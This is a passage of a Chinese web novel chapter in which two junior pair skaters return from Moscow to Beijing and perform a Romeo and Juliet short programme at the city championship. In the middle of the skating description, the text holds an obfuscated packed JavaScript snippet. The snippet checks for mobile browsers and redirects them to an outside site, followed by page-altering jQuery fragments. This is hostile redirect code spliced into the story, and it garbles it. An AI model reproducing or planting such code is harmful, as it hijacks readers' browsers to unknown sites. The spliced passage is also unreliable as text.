“还在俄罗斯?”林风致看了眼时间,“今天下午就是双人滑的合乐时间。” 听筒之外,贺嘉岁耸了耸肩:“很有可能赶不上。” “岂不是明天直接提刀上战场。” 林风致敬他们是勇士。 贺嘉岁提了提嘴角:“还好双人滑组合不多,我们怎么都能排上号。” 北京不比莫斯科,双人滑就那么几对,少年组的人数更少得可怜。 又是摸着奖牌比赛的一天。 林风致揶揄说:“囊中取物的奖牌,这莫非就是女主的升级流副本。” 小说圈管这叫什么来着? 第一章:回国。 “我们这两个月的进步也就那样,”贺嘉岁给她打预防针,“只找到一些基础问题,改正还得另下功夫。” “能找到问题是好事,”林风致和她交流心得,“我也是前几天才知道,我的内勾步用刃是平的,全是平的!” 背景音里,有道模糊的哨声响起,莫名戳中贺嘉岁的笑点。 “辛教练换掉他的陈年老哨了吗?怎么听着和以前怪不一样。” 她算了算时差,出功的时间好像也不一样了。 “嘉岁,我换单位了。”林风致说。 “换掉冬运中心?” “我现在在首都舞蹈学院的冰舞班。” 转折来得太快,贺嘉岁差点压不住声:“你怎么去首舞了,辛嵘哥哥呢?” 去年,辛嵘如愿拿到世青赛的参赛资格,也在赛上拿到中游的成绩。 世青赛结束不久,他把3A放入节目,并在年初的冠军赛落成。 但三周半还是道难关,反复捡了丢、丢了捡,也不知道训练时的成功率几何。 “他把3A稳定下来的话,难度在国内还挺能打,没必要堕落到和我一起练冰舞。”林风致说。 CP去得太快就像龙卷风,贺嘉岁很可惜。 “但只有3A,在国际上还是不够看。”她小声反驳。 尤其在观赏了一众俄国男单的四周跳后,她更觉得危机驾临。 那头的教练催得紧,林风致选择放手:“走一步看一步吧,反正我的搭档都快凑出一桌麻将了。” 听她的语气,没有长久的舞伴,集邮也不失为乐趣。 对方的电话撂得轻飘飘,贺嘉岁却实在替她生气。 也不知道在气什么,她只能把靶子安给体育局和冬管中心,有种只顾生不顾养的潇洒。 “还不睡吗?” 应逢年睡醒一觉,看贺嘉岁在揪外套上的纤维玩。 揪的是他的外套。 贺嘉岁摇头,心里装着很多事,大脑更活跃了。 她现在最想站在天花板上高歌一曲《忐忑》。 “必须得睡了,我们只剩三个小时的休息时间。” 她随便扯了个借口,在座位上扭捏:“椅背放不下去,坐着睡不着。” 这好办。 应逢年拉起座位间的扶手,拍了拍大腿,向她发出邀请。 “借你?” 42. 市锦赛·笑容转移大法 北京的土地有魔力。 飞机甫一落地,贺嘉岁就开始犯困,回到训练基地睡了个下午觉。 “今晚去看看场地吗?”应逢年用电话叫醒。 “也行。” 晚场是星未来给选手的包冰时间,俱乐部的冯蒹葭教练守着,看他们眼熟。 “你们是老辛带的那对小双?” 应逢年点头:“辛教练带我们有一年半了。” “在老辛手底下讨生活,不容易吧。”冯蒹葭打趣。 贺嘉岁不知道她为什么这么说。 “辛教练比较严格,但人挺好的。” “他是单人滑教练,哪懂双人技术,”冯蒹葭想了想,“星未来仅剩的两对组合全被他拆了,他爱劝人回去练单人滑。” “拆了?” 她点头:“那群学生私下喜欢喊他法海,我偶尔也这么叫他。” 冯蒹葭是双人滑教练,对辛成林搅和生意的做法很有微词。 没有组合能在他的眼皮底下待五年。 “但你们的来历特殊,又是从入行就在一块,他不会动这个心思的。” 有工作人员和运动员比对合乐顺序和曲目。 “您好,我们可以在结束后合一次音乐吗?”贺嘉岁问。 冯蒹葭抱歉说:“这是我们俱乐部的内部人员,你俩的音乐文件不在我们这里。” 果然错过了这村就没这店。 不过到底是半个俱乐部的人,他们被允许和其他选手同场练习,在赛前摸了把冰,好歹对冰场的环境有大致了解。 “我还是没底。”应逢年老实说。 他们的节目是出发俄罗斯前就编好的,当时学得匆忙,在国外又没多少串节目的机会,唯一能做的就是听音乐、磨耳朵。 快到冰场的关闭时间,场馆内的灯暗了一半。 清冰车在仓库里候着,星未来的运动员基本下冰,冯蒹葭在场外嘱咐注意休息。 看样子,他们来不及播放音乐了。 贺嘉岁说:“先回基地吧。” 基地的冰场也关得早,他们没有舞蹈室钥匙,只能在宿舍楼的大厅热身,完整地过几遍动作编排。 宿管阿姨被他们的节目吸引,到逐渐能跟着音乐哼几句。 “Vousetesàvéronelabellevérone……”(2000年版法罗朱的曲目《vérone》里的歌词。) 还是法语。 “快别‘v’了,”同事从窗户探出来,打断跳得正忘我的小年轻,“小应,还有一分钟到门禁时间。” 提醒得真是时候,回不去宿舍可不行。 扣在一起的手立马分开,应逢年匆忙捡起自己的鞋包,冲到门口又发现忘了手机。 “外套,外套没拿!” 贺嘉岁替他紧张,脸上却止不住笑意。 看应逢年狼狈,是尤其愉悦身心的事。 应逢年犹豫着折回来,又听见贺嘉岁恶作剧似的倒计时。 “十,九,八……”堪比催命的死线。 来不及了。 “师父别念了,”他死命往对面的楼奔去,“明天再还我吧。” 应逢年跑得远了,大概听不见门里的声音,贺嘉岁笑意更浓,打开眼前的门,将热心肠贯彻到底。 “五,四,三,二,一!” 应逢年刚好拉开大门,但过了倒计时,无事发生。 怎么回事? 他摁开手机,迟迟看到时钟跳到十一点。 她骗他的。 一张脸拉下来,他看见贺嘉岁笑蹲在地上,手上力道一放,大门自动回弹。 天道轮回,始作俑者把自己关在外面。 他隐约能听见她的声音:“阿姨,您看见我是被门推出去的,麻烦开开门。” 晚上刮着风,已经是秋天的温度,应逢年突然精通一门魔法—— 笑容转移。 …… 市锦赛说大不大,是面向运动员籍挂在北京的选手,说小不小,拢共也有一百多人,是北京拥有全国最优资源的真实写照。 在开场表演上宣布开冰的是区长,给足办赛方的面子。 开幕式的种种,贺嘉岁是听志愿者口耳相传的。 少年组最先登场,她和应逢年还在走廊抓紧软开。 “需要补妆吗?”助教找过来。 贺嘉岁把头摇得堪比拨浪鼓。 不知道助教姐姐抽了哪门子风,给她涂了个烈焰红唇,让她在更衣室都无法直视自己的脸。 退一万步讲,浓妆压根不贴合朱丽叶,更像音乐剧里阴魂不散的死神。 助教盯着他们的动作,提醒说:“你们昨天没参与合乐,再去向工作人员确认一遍提交的选曲。” 他们这赛季的短节目音乐不是单一的歌曲,而由两段音乐拼接而成,剪辑师先后给了几个版本。 “是《Vérone》和《Aimer》,没错。” 这节目虽然讲的是《罗密欧与朱丽叶》,但大多着墨在故事的序曲上。 两首歌的核心迥异,故而把握情感是件难事。 罗斯特科娃就说,贺嘉岁把这节目滑得像仇人相见,朱丽叶打算在家族大战中手刃罗密欧。 这让贺嘉岁难办。 《Vérone》不就是仇人相见的背景乐。 贺嘉岁和应逢年错身跪在冰面,弦音和鼓声先声夺人。 遮脸的手放下,仇恨苏醒,红蓝家族的冲突即将爆发。 以膝盖为定点,两人转到面对面时,有模仿打斗的手上动作。 在隐约的哄闹声中,他们顺势站起,又背身压步,在各自完成结环和踢腿后重新相遇。 相互纠缠的世家,他们以一带一的转三体现。 一个舞蹈亮相,贺嘉岁用莫霍克步改变滑向,两人握手压步,在歌词唱响时,以面对面的基础上法做出3组手扶髋托举。 3组托举和1、2组不同,虽然贺/应没有姿态变换,但要求男伴的手臂必须完全伸直。 贺嘉岁被双手托到头顶,也单手撑着应逢年的颈窝,在应逢年完成四圈旋转后落冰。 [VousquitrouvezqueI`hommeestbon(您觉得人们善良友爱), parcequ`ilsaitfairedebelleschansons(是因为他们歌声好听畅快).]* 燕式滑出转身接伴随手臂动作的压步,以前内变前外的括弧步保持勾手跳的用刃,贺嘉岁给应逢年留有后C变刃和莫霍克换主力足的时间,再同时跳出勾手两周。 再以面对面手拉手握法压步,贺嘉岁做了个外刃的燕式提刀,昭示两人即将进入接续步。 在训练营的那段时间,罗斯特科娃没少关注他们的步法,倒是把用刃略浅略平的毛病改了些。 [Vousetesàvéronelabellevérone(这就是维罗纳,美丽的维罗纳).] 音乐来到高潮,一串低姿的刀齿步,红蓝家族正在酣战。 前外摇滚步时,手臂逐渐抬起,张扬的步伐下接反胯大跳,两人调整用刃,以手拉手握法拉近两人的距离。 贺嘉岁和应逢年逐渐叠在一起,完成捻转两周,男伴大一字滑出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144295|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲中的维罗纳看似繁荣的圣地,暗流之下却比地狱还想蛮荒之地。 又是一段各种步法搭的肢体舞蹈,两人在《Vérone》渐收时以跳进单人联合转。 贺/应的旋转配置也比上赛季好了些。 因为练习七级自由滑的缘故,贺嘉岁的燕式转逐渐稳定下来,成为联合转的第一个难度姿态。 提刀燕式六圈,基础蹲姿四圈,插足转四圈,滑出。 音乐过渡到《Aimer》,钢琴取代人们的激烈战火,好像月光骤然升起,地面一片宁静。 贺嘉岁和应逢年的滑速也不比前段快,刚好和音乐并行。 [Aimerc`estcequ`yad`plusbeau(爱,是最美好的事物), aimerc`estmontersihaut(爱,是攀登至高峰).]* 重叠的巡场的燕式成为恋人们的倾诉,他们从世仇的家族脱胎,试图让铺满鲜血的维罗纳再度浪漫。 女伴依然保持燕式姿态,在男伴的引导下,逐渐倾倒身躯,进入前外螺旋线。 歌者的声音渐收,直到美好即将定格,《OVerona》的悲鸣刺破宁静,年轻的恋人最终倒在唱诗班的和声里。 复杂的音乐糅合,非典型的三段式转折,似乎每点都才在观众的预期外。 但组合在一起,就是套顺理成章的节目。 “辛教练!” 贺嘉岁小跑着奔下场,见到久违的师父。 “还行,”辛成林给他们递上刀套和外套,“上次见你们的时候,你连脚下的步法都打结。” “那都是两个月前的事了。” 两个月,从莫斯科到北京,她的收获不小。 前往等分区的路上,辛成林道出转折:“但你们的滑速好像变慢了,身体没调动起来?” 他知道两人昨天才赶回北京,倒没有苛责。 应逢年颔首:“最近在改滑行,速度快不起来。” 虽然这是罗斯特科娃给贺嘉岁指出的问题,但他的身高也在涨,以人度己,总有可取之处。 “外教的建议可以听,但俄式技术体系和我们的不太一样,你们要找到适合自己的路。” 裁判打分很快。 “贺嘉岁/应逢年,技术分17.73分,节目内容分14.48分,短节目得分为32.21分,暂时排在第一位。” 旁边是前两组小孩略带艳羡的怪叫。 “我看看,少年组怎么能打到三十多分。”女孩闯入等分区,和他们同看直播里挂出的分数框。 “裁判乱打的吧,”小男伴不服气,“技术分那么高。” 教练把两个丢人的孩子带走:“他们的3组托举就能抵你们两个技术动作,还不说捻转上了两周。” 贺/应这赛季确实有不小突破,从托举到旋转几乎都有了看得过眼的难度。 “要不是规则约束,我和应逢年还能冲一个外点三周呢。” 贺嘉岁想,要身在青年组就好了,把三周跳装进节目,还能让技术分再涨两个点。 她的心胸突然膨胀,少年组快容不下她了。 辛成林把她拽回地面,直接开涮。 “捻转两周的质量太次,应该只定了基础级,小应托举时差点曲臂,可见上肢力量还不够,旋转……” “旋转轴有些飘,尤其在姿态变换的时候。” 贺嘉岁接住教练的话。 辛成林气笑:“知道还膨胀。” 小姑娘理直气壮:“因为我知道下次的表现会更好。” 她知道缺处,她正在填补缺处,总会更好的吧。